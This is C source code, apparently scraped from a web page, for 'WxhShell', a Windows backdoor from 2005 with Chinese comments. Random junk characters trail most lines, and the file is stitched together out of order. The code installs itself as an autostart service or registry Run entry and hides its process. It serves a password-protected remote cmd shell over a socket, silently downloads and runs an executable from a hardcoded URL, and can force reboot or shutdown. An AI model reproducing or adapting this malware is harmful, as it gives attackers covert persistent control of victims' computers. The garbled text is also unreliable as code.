  case 'd': { U4 *u|A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N.mRay,  
    if(Boot(SHUTDOWN)) =F|9 ac9X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3IRur,|'  
    else { "BsK' yo.  
    closesocket(wsh); .Wt3|?\=nd  
    ExitThread(0); X$KTsG*  
    } cFc(HADM`r  
    break; w71YA#cg  
    } ?L\"qz%gP  
  // 获取shell WzstO}?P(  
  case 's': { @'>RGaPV  
    CmdShell(wsh); )!v"(i.5Xo  
    closesocket(wsh); U',C-56z  
    ExitThread(0); p _[,P7  
    break; :pM 8Q1:B  
  } 1J0gjO)AZ  
  // 退出 PS" rXaY  
  case 'x': { rwJ U;wy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _|US`,kfc  
    CloseIt(wsh); gdeM,A|  
    break; <L8|Wz  
    } UB5H8&Rf!  
  // 离开 7P2n{zd,  
  case 'q': { ;*Vnwt A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jUM'f24  
    closesocket(wsh); 0F-{YQr>  
    WSACleanup(); Ic4#Tk20i  
    exit(1); *V hEl7  
    break; i<F7/p "-  
        } Fn .J tIu  
  } ^Zz^h@+  
  } > )< ?  
_?H3*!>3  
  // 提示信息 @\w}p E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JWd[zJ[  
} '>t&fzD0  
  } BeLD`4K  
-y|J_;EG  
  return; #?w07/~L  
} F:q4cfL6  
iOg4(SPci  
// shell模块句柄 =oI[E~1<  
int CmdShell(SOCKET sock) Ht;Rz*}  
{ e:Y+-C5  
STARTUPINFO si; v^@)&,  
ZeroMemory(&si,sizeof(si)); ]Z5m_-I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g0j)k6<6(Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I9 zs  
PROCESS_INFORMATION ProcessInfo; |&8XmexLb  
char cmdline[]="cmd"; 8^}/T#l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w{aGH/LN  
  return 0; @CzFzVmF"  
} :W0p3 6"  
eZOR{|z  
// 自身启动模式 $x'jf?zs!  
int StartFromService(void) ^}Vc||S  
{ x3cjyu<K  
typedef struct Jm<NDE~rw  
{ Ztmh z_u7  
  DWORD ExitStatus; 4,LS08&gh  
  DWORD PebBaseAddress; yF(9=z"?  
  DWORD AffinityMask; Zq 85q  
  DWORD BasePriority; 3XlQ4  
  ULONG UniqueProcessId; m@XX2l9:9  
  ULONG InheritedFromUniqueProcessId; QIMd`c  
}   PROCESS_BASIC_INFORMATION; -+@N/d5  
cEu_p2(7!B  
PROCNTQSIP NtQueryInformationProcess; ru 6`Z+p  
UUDUd a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HNS^:X R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e2 c'Wab  
aeUgr !  
  HANDLE             hProcess; qI9j=4s.  
  PROCESS_BASIC_INFORMATION pbi; =h4u N,  
Dst;sLr[,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +h"i6`g  
  if(NULL == hInst ) return 0; ?I^$35  
uuEvH<1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P_3IFHe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C{/U;Ie-b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =hTJp/L  
5go)D+6s  
  if (!NtQueryInformationProcess) return 0; y_Lnk=Q ^  
RL4|!HzR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =? !FO'zt"  
  if(!hProcess) return 0; ~$6` e:n  
&6CDIxH{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; esTL3 l{[  
tZ[9qms^_  
  CloseHandle(hProcess); dYISjk@  
]~]TZb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1R@G7m  
if(hProcess==NULL) return 0; *Hn=)q  
xMk>r1Ud  
HMODULE hMod; RjVU m+<  
char procName[255]; NE#`ZUr3  
unsigned long cbNeeded; h<?Px"& J  
n>u_>2Ikkj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t+A*Ws*o  
T4:H:  
  CloseHandle(hProcess); (enr{1  
OiA uL:D  
if(strstr(procName,"services")) return 1; // 以服务启动 _"p(/H  
f B<Qs.T  
  return 0; // 注册表启动 ROTKK8:+:  
} 3_wR2AU~  
tLKf]5}f  
// 主模块  Me z&@{  
int StartWxhshell(LPSTR lpCmdLine) W>!:K^8]  
{ 8zMGpY#  
  SOCKET wsl; r[ k  
BOOL val=TRUE; S}Wj.l+F  
  int port=0; kO`!!M[Oo  
  struct sockaddr_in door; 2|?U%YrHWs  
"\Dqtr w  
  if(wscfg.ws_autoins) Install(); pWE(?d_M{G  
H5d@TB, `  
port=atoi(lpCmdLine); =),ZZD#J  
j{FRD8]V  
if(port<=0) port=wscfg.ws_port; S@pdCH, n  
E2}X[EoBF  
  WSADATA data; zK~_e\m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5xKod0bA  
6miXaAA8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U&(gNuR>J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x Y$x= )  
  door.sin_family = AF_INET; Wx#l}nD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +(Hp ".gU  
  door.sin_port = htons(port); VG7#C@>Z  
*lZ V3F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xH28\]F5n  
closesocket(wsl); xC + >R1)  
return 1; 7?g({]  
} }Uj-R3]}K  
(5`(H.(  
  if(listen(wsl,2) == INVALID_SOCKET) { d\Up6F  
closesocket(wsl); ;K l'[~z  
return 1; B:i$  
} g@O?0,+1  
  Wxhshell(wsl); g}6M+QNj  
  WSACleanup(); 9:%')M&Q  
(JOR: 1aT  
return 0; %t* 9sh  
4j+M<g  
} I^LU*A=  
+5O^{Ce6  
// 以NT服务方式启动 n|.eL8lX.<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d+h~4'ebv  
{ 3`3my=   
DWORD   status = 0; r;(^]Soz  
  DWORD   specificError = 0xfffffff; lM#/F\  
+Y+fM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X/%!p<}:'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Mf5*Wjz.Mc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g]MgT-C|  
  serviceStatus.dwWin32ExitCode     = 0; b~ig$!N]  
  serviceStatus.dwServiceSpecificExitCode = 0; @~=d4Wj6  
  serviceStatus.dwCheckPoint       = 0; Rbgy?8#9  
  serviceStatus.dwWaitHint       = 0;  N6\m*j,`  
6R3/"&P(/#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l:~ >P[  
  if (hServiceStatusHandle==0) return; /&=y_%VR  
H2g#'SK@  
status = GetLastError(); ~r})&`5  
  if (status!=NO_ERROR) ]~3a~  
{ FFVh~em{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k^q~ 2  
    serviceStatus.dwCheckPoint       = 0; yJ; ;&  
    serviceStatus.dwWaitHint       = 0; ~}D"8[ABj  
    serviceStatus.dwWin32ExitCode     = status; HN;f~EQT  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2xy{g&G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <gvgr4@^yR  
    return; 2jQ?-/Q8#  
  } ?56;<%0  
M@. 2b.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |ns9ziTDI  
  serviceStatus.dwCheckPoint       = 0; 44B9JA7u  
  serviceStatus.dwWaitHint       = 0; 1X&scVw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \Z/0i|  
} KAT^vbR  
V22Br#+  
// 处理NT服务事件,比如:启动、停止 ,/p .!+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XS0NjZW  
{ L6=5]?B=  
switch(fdwControl) .'1]2/ad  
{ sPX~>8}|VP  
case SERVICE_CONTROL_STOP: VRv.H8^{  
  serviceStatus.dwWin32ExitCode = 0; gyMy;}a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Jj1lAg 0  
  serviceStatus.dwCheckPoint   = 0; %LL?'&&  
  serviceStatus.dwWaitHint     = 0; !1+!;R@&H>  
  { Oh1a'&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2DBFY1[Pk  
  } *U,W4>(B  
  return; 3SF J8  
case SERVICE_CONTROL_PAUSE: f1Gyl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cn$0^7?  
  break; >ufN[ab  
case SERVICE_CONTROL_CONTINUE: y[f6J3/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <3{ >;^|e  
  break; c=:A/z{  
case SERVICE_CONTROL_INTERROGATE: S)@) @3  
  break; LaIH3!M3  
}; 2\xEMec  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?trqe/  
} `hl1R3nBM  
Oufdi3h  
// 标准应用程序主函数 KSl@V>!_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -hO[^^i9  
{ lJ4&kF=t  
]K>x:vMKH  
// 获取操作系统版本 9D& 22hL4  
OsIsNt=GetOsVer(); p( [FZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uI&<H T?  
b@N*W]  
  // 从命令行安装 wArtg'=X  
  if(strpbrk(lpCmdLine,"iI")) Install(); P/~kX_  
]0@ J)Z09  
  // 下载执行文件 rt!Uix&  
if(wscfg.ws_downexe) { 2Rs-!G< ]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'sAs#  
  WinExec(wscfg.ws_filenam,SW_HIDE); E{Y)=tW[  
} ]`n6H[6O  
IWAp  
if(!OsIsNt) { .Vb\f  
// 如果时win9x,隐藏进程并且设置为注册表启动 2sqNTuO6,|  
HideProc(); ,~xX[uB  
StartWxhshell(lpCmdLine); @D&}ZV=J  
} =5X(RGK  
else wWUt44:0O  
  if(StartFromService()) NYN(2J  
  // 以服务方式启动 9^1.nE(R&  
  StartServiceCtrlDispatcher(DispatchTable); x4bj?=+  
else 73d7'Fw  
  // 普通方式启动 C{Er%  
  StartWxhshell(lpCmdLine); srfM"Lb'  
{nlqQ.jO  
return 0; ob;$yn7ZO1  
} \A9hYTC)  
Rd{#cW~  
)o@-h85";  
mg7Q~SLL{  
=========================================== =M+enSu  
)'gO?cN  
d|(@#*{T]  
7|eD}=jy  
N=P+b%%:Z  
^qlfdf  
" %?[H=v(b  
~%o?J"y  
#include <stdio.h> {:r8X  
#include <string.h> h q& 2o  
#include <windows.h> -P>f2It  
#include <winsock2.h> .TTXg,8#D  
#include <winsvc.h> AmmUoS\  
#include <urlmon.h> l^ aUN  
OCVF+D :  
#pragma comment (lib, "Ws2_32.lib") zf>r@>S!L  
#pragma comment (lib, "urlmon.lib") - &/n[EE  
?YO$NYwE  
#define MAX_USER   100 // 最大客户端连接数 )cX6o[oia  
#define BUF_SOCK   200 // sock buffer 7VQk$im399  
#define KEY_BUFF   255 // 输入 buffer " %)zTH  
f}1R,N_fC  
#define REBOOT     0   // 重启 T]tG,W1>i  
#define SHUTDOWN   1   // 关机 |P"p/iY  
^K K6 d  
#define DEF_PORT   5000 // 监听端口 s*U~Q=Z  
g :me:M  
#define REG_LEN     16   // 注册表键长度 ;w_f^R #  
#define SVC_LEN     80   // NT服务名长度 1$g]&'  
,mE*k79L6  
// 从dll定义API ,^UNQO*{GI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s2-p -n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8[|RsM   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /J"U`/ {4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J c~{ E  
}I\hO L  
// wxhshell配置信息 0{P Rv./`  
struct WSCFG { mGmkeD'  
  int ws_port;         // 监听端口 J\@yP  
  char ws_passstr[REG_LEN]; // 口令 8W|qm;J98  
  int ws_autoins;       // 安装标记, 1=yes 0=no t9zF WdW  
  char ws_regname[REG_LEN]; // 注册表键名 D:gskK+o6M  
  char ws_svcname[REG_LEN]; // 服务名 }!-K)j.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P%6-W5<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D e>'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nSL x1Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E r6'Ig|U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ifm|_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o1"MW>B,4  
Olg@ Ri  
}; Ed%8| M3  
qn+b*4  
// default Wxhshell configuration (P-Bmu!s  
struct WSCFG wscfg={DEF_PORT, ?2b*F Qe  
    "xuhuanlingzhe", <MlRy%3Z  
    1, "YUyM5X  
    "Wxhshell", ]Y'oxh  
    "Wxhshell", L+}q !'8S  
            "WxhShell Service", `i8KIE  
    "Wrsky Windows CmdShell Service", l;I)$=={=  
    "Please Input Your Password: ", m8q3Pp  
  1, S?W!bkfn  
  "http://www.wrsky.com/wxhshell.exe", qFo'"z`84  
  "Wxhshell.exe" Mb6 #97  
    }; tH_e?6]  
gxX0$\8o7  
// 消息定义模块 2l)J,z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GT[,[l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o5(p&:1M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (Yzy;"iAu  
char *msg_ws_ext="\n\rExit."; J Cu3,O!q  
char *msg_ws_end="\n\rQuit."; l^s\^b=W  
char *msg_ws_boot="\n\rReboot..."; Zc"Vf]:  
char *msg_ws_poff="\n\rShutdown..."; Im;8Abf  
char *msg_ws_down="\n\rSave to "; 18|i{fE;  
8#OcrJzC  
char *msg_ws_err="\n\rErr!"; 1sL#XB$@N  
char *msg_ws_ok="\n\rOK!"; x(/KHpSWK  
=(f+geA"hm  
char ExeFile[MAX_PATH]; [b: $sR;  
int nUser = 0; W|K"0ab  
HANDLE handles[MAX_USER]; "p43#  
int OsIsNt; 7q&//*%yF  
U2*g9Es  
SERVICE_STATUS       serviceStatus; 3Zm'09A-.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #"^F:: b-  
ceakTAB[  
// 函数声明 N;XaK+_2F  
int Install(void); D"WqJcDt  
int Uninstall(void); y$VYWcFE  
int DownloadFile(char *sURL, SOCKET wsh); 1]HEwTT/1_  
int Boot(int flag); $2uZdl8Rvj  
void HideProc(void); V6.xp{[  
int GetOsVer(void); uqy b  
int Wxhshell(SOCKET wsl); 7 tOOruiC  
void TalkWithClient(void *cs); X|'EyZ  
int CmdShell(SOCKET sock); (U"Ub;[7  
int StartFromService(void); tZS-e6*S  
int StartWxhshell(LPSTR lpCmdLine); HS{a^c%  
BlF]-dF\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &uwj&-u?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D-8N Da(`  
L&wJ-}'l  
// 数据结构和表定义 ?*i qg[:  
SERVICE_TABLE_ENTRY DispatchTable[] = rlEp&"+|M  
{ W+3ZuAP\n  
{wscfg.ws_svcname, NTServiceMain}, H6ff b)&  
{NULL, NULL} usb.cE3 z  
}; $vNz^!zgV  
k}-@N;zq  
// 自我安装 f\sxx!kt  
int Install(void) >#}MDwKZD  
{ q=bW!.#?  
  char svExeFile[MAX_PATH]; ITj0u&H:  
  HKEY key; ?Z-(SC  
  strcpy(svExeFile,ExeFile); 6Q<^,`/T  
O$}p}%%y7  
// 如果是win9x系统,修改注册表设为自启动 E DuLgg@  
if(!OsIsNt) { uJz<:/rwZ-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8(R%?> 8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7 jq?zS|  
  RegCloseKey(key); VUXG%511T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?CB*MWjd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +NGjDa  
  RegCloseKey(key); rn^ 7B-V  
  return 0; *I;,|Jjk  
    } x`@!hJc:[e  
  } ~~[Sz#(  
} I@VhxJh  
else { FLI\SF<  
7cx~?xk <m  
// 如果是NT以上系统,安装为系统服务 |zD{]y?S-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w9I7pIIl  
if (schSCManager!=0) H`/Q hE  
{ L8K= Q  
  SC_HANDLE schService = CreateService %} WSw~X  
  ( SS?^-BI  
  schSCManager, W- Q:G=S-  
  wscfg.ws_svcname, ^VsX9  
  wscfg.ws_svcdisp, :3`6P:^  
  SERVICE_ALL_ACCESS, ?E1<>4S8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OiI[w8  
  SERVICE_AUTO_START, 06@^knm  
  SERVICE_ERROR_NORMAL, hE>ux"_2/  
  svExeFile, Pw`26mB   
  NULL, ,lK=m~  
  NULL, ""cnZZ5)  
  NULL, eELJDSd BV  
  NULL, i#/,Q1yEn  
  NULL 6 &~8TH  
  ); ; MU8@?yN  
  if (schService!=0) uC{qaMQ  
  { *a_U2}N  
  CloseServiceHandle(schService); P:GAJ->;]>  
  CloseServiceHandle(schSCManager); ^(<Ecdz(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2xBIfmR^y  
  strcat(svExeFile,wscfg.ws_svcname); t)|*-=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ovv<7`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Vfkm{*t)  
  RegCloseKey(key); ]dzBm!u  
  return 0; 3vx5dUgl,  
    } ks92-%;:  
  } ^%(HZ'$wC  
  CloseServiceHandle(schSCManager); u{#}Lo>B #  
} %@/"BF;r  
} 5,/rh,?  
A-5xgp,  
return 1; Ore>j+  
} B/"TaXVU  
%UIR GI  
// 自我卸载 12 y=Eh  
int Uninstall(void) p,_,o3@~  
{ !|!k9~v!  
  HKEY key; 0=N,y  
,;3#}OGg  
if(!OsIsNt) { R*Jnl\?>@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +NIq}fZn9  
  RegDeleteValue(key,wscfg.ws_regname); `SDpOqfIrP  
  RegCloseKey(key); l&rS\TCkp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +tsF.Is!t  
  RegDeleteValue(key,wscfg.ws_regname); iuxI$  
  RegCloseKey(key); =Uy;8et  
  return 0; a%\6L  
  } )`,||sQ  
} Q;9-aZ.H  
} X`/3X}<$7  
else { W 7xh  
_+c' z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9o)sSaTx=  
if (schSCManager!=0)  |tK_Bn  
{ ;E,^bt<U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R]dN-'U  
  if (schService!=0) _=%F6}TE  
  { &j}08aK%  
  if(DeleteService(schService)!=0) { ^\<nOzU?  
  CloseServiceHandle(schService); 0tA~Y26  
  CloseServiceHandle(schSCManager); z1dSZ0NoA  
  return 0; 8 $5 y]%!  
  } c@SNbY4}%  
  CloseServiceHandle(schService); i}&&rr  
  } 6Jrw PZB  
  CloseServiceHandle(schSCManager); VT>TmfN(I  
} /-J  
} .AB n$ml]  
DIsK+1  
return 1; kSW=DE|#}  
} E[$"~|7|$  
*R'r=C`  
// 从指定url下载文件 QoLp$1O (y  
int DownloadFile(char *sURL, SOCKET wsh) RIC\f_Dv  
{ o7gYj\  
  HRESULT hr; $,Eb(j  
char seps[]= "/"; ,=_)tX^  
char *token; fAEgrw%Ti  
char *file; 2/WtOQI B  
char myURL[MAX_PATH]; % w\   
char myFILE[MAX_PATH]; WdWMZh  
q?R^~r  
strcpy(myURL,sURL); 3!l+) g  
  token=strtok(myURL,seps); z6IOVQ*r  
  while(token!=NULL)  W8blHw"  
  { lF*}l  
    file=token; %wFz4 :  
  token=strtok(NULL,seps); UWW^g@d4  
  } 0sMNp  
bA_/ 6r)u  
GetCurrentDirectory(MAX_PATH,myFILE); W)X" G3  
strcat(myFILE, "\\"); 7$"A2x   
strcat(myFILE, file); H^Mfj!S  
  send(wsh,myFILE,strlen(myFILE),0); xNrPj8V<Y  
send(wsh,"...",3,0); lQS(\}N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -gQtw% `x  
  if(hr==S_OK) N!PPL"5z  
return 0; 1 5heLnei  
else pD@:]VP  
return 1; TdU'L:<4l  
0dTHF})m  
} n1!}d%:  
"|Ke/0rGB  
// 系统电源模块 "L0Q"t:  
int Boot(int flag) eS`ZC!W   
{ bcR";cE  
  HANDLE hToken; t!8(IR  
  TOKEN_PRIVILEGES tkp; ; Sd== *  
Aaw]=8 OI  
  if(OsIsNt) { @3w6 !Sgh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N&uRL_X .  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H9\,;kM)  
    tkp.PrivilegeCount = 1; &ir|2"HV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~GLWhe-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w4Uo-zr@  
if(flag==REBOOT) { :[:*kbWN-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2M+}o"g  
  return 0; rNK<p3=7)  
} &ggOm  
else { %A3ci[$g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  erQQ_  
  return 0; p uZY4}b_  
} qEvbKy}  
  } 4C#r=Uw`  
  else { tCR#TW+IY-  
if(flag==REBOOT) { 0{OafL8&l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WK.K-bd  
  return 0; cq`!17"k  
} Al3*? H&  
else { 0iAQ;<*xi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `Hx JE"/  
  return 0; dEI]|i r  
} +h)1NX;o1  
} { .j030Q  
X:/7#fcG8  
return 1; o zMn8@R  
} cCuK?3V4K  
JLbmh1'  
// win9x进程隐藏模块  /M@[ 8  
void HideProc(void) P8X59^cJ  
{ <^w4+5sT/  
I&%KOe0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K]'t>:G @  
  if ( hKernel != NULL ) w.(?O;  
  { Lng@'Yr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hRNnj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8 KRo<  
    FreeLibrary(hKernel); d3]<'B:nb  
  } "?G?G'yK>  
T<%%f.x[s  
return; :CsrcT=  
} ,YBe|3  
G-TD9OgZ  
// 获取操作系统版本 2BO&OX|X  
int GetOsVer(void) d f j;e%H  
{ Ltk-1zhI  
  OSVERSIONINFO winfo; `n"PHur  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uE}$ZBi q  
  GetVersionEx(&winfo); =u`tlN5pOT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LvCX(yjZ*  
  return 1; P}"T 3u\N  
  else 2Z-QVwa*U  
  return 0; H@te!EE  
} '?$R YU,  
6!C>J#T  
// 客户端句柄模块 3 TRG] 5  
int Wxhshell(SOCKET wsl) 2%/+r  
{ _`. Q7  
  SOCKET wsh; +`ug?`_  
  struct sockaddr_in client; Nj.;mr<  
  DWORD myID; 4N5\sdi  
(K('@W%\?  
  while(nUser<MAX_USER) hOYP~OR  
{ P9x':I$  
  int nSize=sizeof(client); (3Z;c_N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p/HGI)'  
  if(wsh==INVALID_SOCKET) return 1; vwzElZ{C:v  
*6G@8TIh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `i!fg\qnK  
if(handles[nUser]==0) S4pEBbV^n  
  closesocket(wsh); d(K}v\3!  
else >[ g=G  
  nUser++; _Nh`-R%B)  
  } @}s EP&$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A6 RwLX  
n7|,b- <  
  return 0; R7A:K]iJ5  
} 0]zMb^wo  
O=jzz&E+  
// 关闭 socket B}J0 d  
void CloseIt(SOCKET wsh) TkVqv v  
{ I]%Kd('  
closesocket(wsh); A1*\ \[  
nUser--; _j*a5fsPU  
ExitThread(0); O Q$C#:?  
} /6Kx249Dw  
0lOR.}]q  
// 客户端请求句柄 Pj_*,L`mZ  
void TalkWithClient(void *cs) G=LK irj(  
{ lq mr`\@)  
F:~@e(  
  SOCKET wsh=(SOCKET)cs; ght3#  
  char pwd[SVC_LEN]; F,V| In  
  char cmd[KEY_BUFF]; dkeMiL m  
char chr[1]; ^9><qKbO  
int i,j; rM? J40&.  
ErgWsAw-  
  while (nUser < MAX_USER) { Er - rm  
1vS-m x  
if(wscfg.ws_passstr) { //RD$e?h~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 57q?:M=^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =MvB9gx@r  
  //ZeroMemory(pwd,KEY_BUFF); "y5bODq3t  
      i=0; / <%EKu5  
  while(i<SVC_LEN) { j6j4M,UI43  
lPrAx0m13%  
  // 设置超时 SM1L^M3)  
  fd_set FdRead; <8YvsJ  
  struct timeval TimeOut; 6J">@+  
  FD_ZERO(&FdRead); 4dm0:, G  
  FD_SET(wsh,&FdRead); [KCR@__  
  TimeOut.tv_sec=8; %xKZ" #Z#K  
  TimeOut.tv_usec=0; c?KIHZ0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xoha.6$l5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -w f>N:  
p=^6V"'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q- w_ @~  
  pwd=chr[0]; GDb V y)&  
  if(chr[0]==0xd || chr[0]==0xa) { 4?bvJJuf)  
  pwd=0; c]i;0j? Dl  
  break; |>1#)cONW  
  } ,6o tm  
  i++; IM,4Si2  
    } uvw1 _j?  
OmK4 \_.  
  // 如果是非法用户,关闭 socket 3_ .%NgES|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4Xww(5?3  
} KXpbee  
~N7;. 3 7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); REh\WgV!u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !6z{~Z:   
E}THG=6  
while(1) { _/u(:  
AX Q.E$1g  
  ZeroMemory(cmd,KEY_BUFF); /a9CqK  
mIPDF1= )  
      // 自动支持客户端 telnet标准   O1wo KkfV  
  j=0; F,Ve,7kh  
  while(j<KEY_BUFF) { 2+b}FVOe\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tR2%oT>h  
  cmd[j]=chr[0]; l;&kX6 w  
  if(chr[0]==0xa || chr[0]==0xd) { n,LM"N:   
  cmd[j]=0; TP~1-(M)}  
  break; wAJ= rRI  
  } Qpj[]c5  
  j++; q~Al[`K  
    } d @ l  
qJ<l$Ig  
  // 下载文件 MJCz %zK  
  if(strstr(cmd,"http://")) { FjLMN{eH/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cSNeWJKA6  
  if(DownloadFile(cmd,wsh)) 5uOz#hN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SqdI($F\:  
